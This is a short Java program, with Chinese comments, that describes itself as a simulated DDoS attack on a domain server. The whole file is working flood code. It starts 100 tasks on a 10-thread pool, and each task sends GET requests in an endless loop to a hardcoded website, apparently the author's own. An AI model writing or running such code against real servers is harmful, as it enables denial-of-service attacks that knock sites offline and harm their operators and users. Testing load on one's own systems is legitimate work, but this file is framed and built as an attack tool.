package ddos;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLConnection;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;

/**
 * 线程类 用来多线程攻击域名服务器
 * Created by wangnian on 2016/4/2.
 */
 class Ddosthread  implements  Runnable {
    String urlStr="http://www.wangnian.pub";
    public void run() {
        //死循环
        while (true){
            try {
                URL url =new URL(urlStr);
                URLConnection conn=url.openConnection();
                InputStream inputStream= conn.getInputStream();
                // 定义 BufferedReader输入流来读取URL的响应
                BufferedReader in = new BufferedReader(new InputStreamReader(inputStream));
                String line= in.readLine();
                if(line!=null){
                    System.out.println("发送成功");
                }else{
                    System.out.println("访问不了");
                }
            }catch (MalformedURLException e) {
                System.out.println("网址错误");
            } catch (IOException e) {
                System.out.println("网址打不开");
            }


        }

    }
}

public class DdosTest{
     /**
      * 创建100个线程分别执行100次get请求 模拟ddos攻击 服务器
      */
     public static void main(String[] args) {

         ExecutorService executorService= Executors.newFixedThreadPool(10);
         Ddosthread ddosthread=new Ddosthread();
         Thread thread=new Thread(ddosthread);
         for(int i=0;i<100;i++){
             executorService.execute(thread);
         }

     }
}
